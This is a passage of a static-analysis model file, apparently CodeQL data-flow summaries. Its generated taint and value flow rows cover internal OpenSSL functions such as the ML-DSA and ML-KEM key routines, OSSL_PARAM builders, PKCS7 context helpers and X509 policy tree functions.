"ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*prov_flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[3]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[5]", "Argument[*0].Field[**priv_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sig_decode", "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)", "", "Argument[*1]", "Argument[*0].Field[**c_tilde]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sig_decode", "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)", "", "Argument[1]", "Argument[*0].Field[**c_tilde]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sign", "(const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_sk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_sk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_w1_encode", "(const VECTOR *,uint32_t,uint8_t *,size_t)", "", "Argument[*0].Field[*poly]", "Argument[*0].Field[**poly]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_decap", "(uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encap_rand", "(uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encap_seed", "(uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_private_key", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_public_key", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_seed", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_kem_genkey", "(uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_dup", "(const ML_KEM_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_ml_kem_key_dup", "(const ML_KEM_KEY *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_public_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_public_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_pubkey_cmp", "(const ML_KEM_KEY *,const ML_KEM_KEY *)", "", "Argument[*0].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_pubkey_cmp", "(const ML_KEM_KEY *,const ML_KEM_KEY *)", "", "Argument[*1].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_set_seed", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_ml_kem_set_seed", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_name", "(OSSL_NAMEMAP *,int,const char *)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_name", "(OSSL_NAMEMAP *,int,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_doall_names", "(const OSSL_NAMEMAP *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_namemap_num2name", "(const OSSL_NAMEMAP *,int,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_stored", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_namemap_stored", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_null_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "ossl_null_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*1].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_int", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_int", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_long", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_long", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)", "", "Argument[3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_multi_key_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[*3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[*3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[3]", "Argument[*1].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_bytes_to_blocks", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_parse_property", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_parse_query", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pem_check_suffix", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_pkcs12_get0_pkcs7ctx", "(const PKCS12 *)", "", "Argument[*0].Field[**authsafes].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_libctx", "(const PKCS7_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_libctx", "(const PKCS7_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_propq", "(const PKCS7_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_propq", "(const PKCS7_CTX *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_propagate", "(const PKCS7 *,PKCS7 *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_pkcs7_get0_ctx", "(const PKCS7 *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set0_libctx", "(PKCS7 *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set0_libctx", "(PKCS7 *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set1_propq", "(PKCS7 *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set1_propq", "(PKCS7 *,const char *)", "", "Argument[1]", "Argument[*0].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_policy_cache_find_data", "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_find_data", "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_set", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_set", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_data_new", "(POLICYINFO *,const ASN1_OBJECT *,int)", "", "Argument[1]", "ReturnValue[*].Field[*valid_policy]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "Argument[*0].Field[**anyPolicy].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "Argument[*3].Field[**extra_data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[2]", "Argument[*0].Field[**anyPolicy].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[2]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_find_node", "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_level_find_node", "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_tree_find_sk", "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_tree_find_sk", "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pool_acquire_entropy", "(RAND_POOL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_new", "(..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*compare]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_num", "(const OSSL_PQUEUE *)", "", "Argument[*0].Field[*htop]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[**1]", "Argument[*0].Field[**heap].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[**heap].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[1]", "Argument[*0].Field[**heap].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_remove", "(OSSL_PQUEUE *,size_t)", "", "Argument[1]", "Argument[*0].Field[*freelist]", "value", "dfc-generated"] + - ["", "", True, "ossl_print_attribute_value", "(BIO *,int,const ASN1_TYPE *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_prop_defn_set", "(OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_find_property", "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_find_property", "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_property_get_number_value", "(const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*0].Field[*v].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_property_get_string_value", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*1].Field[*v].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_get_type", "(const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[*1].Field[*properties].Field[*name_idx]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[3]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*0].Field[*properties].Field[*optional]", "ReturnValue[*].Field[*has_optional]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*0].Field[*properties]", "ReturnValue[*].Field[*properties]", "value", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*1].Field[*properties].Field[*optional]", "ReturnValue[*].Field[*has_optional]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*1].Field[*properties]", "ReturnValue[*].Field[*properties]", "value", "dfc-generated"] + - ["", "", True, "ossl_property_name", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_name_str", "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_value", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_value_str", "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_bio_from_dispatch", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_cache_exported_algorithms", "(const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *)", "", "Argument[*0].Field[*alg]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_cipher", "(const PROV_CIPHER *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_cipher", "(const PROV_CIPHER *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_copy", "(PROV_CIPHER *,const PROV_CIPHER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_cipher_engine", "(const PROV_CIPHER *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_engine", "(const PROV_CIPHER *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_load_from_params", "(PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_bio_method", "(PROV_CTX *)", "", "Argument[*0].Field[**corebiometh]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_bio_method", "(PROV_CTX *)", "", "Argument[*0].Field[*corebiometh]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_get_params", "(PROV_CTX *)", "", "Argument[*0].Field[*core_get_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_handle", "(PROV_CTX *)", "", "Argument[*0].Field[**handle]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_handle", "(PROV_CTX *)", "", "Argument[*0].Field[*handle]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, 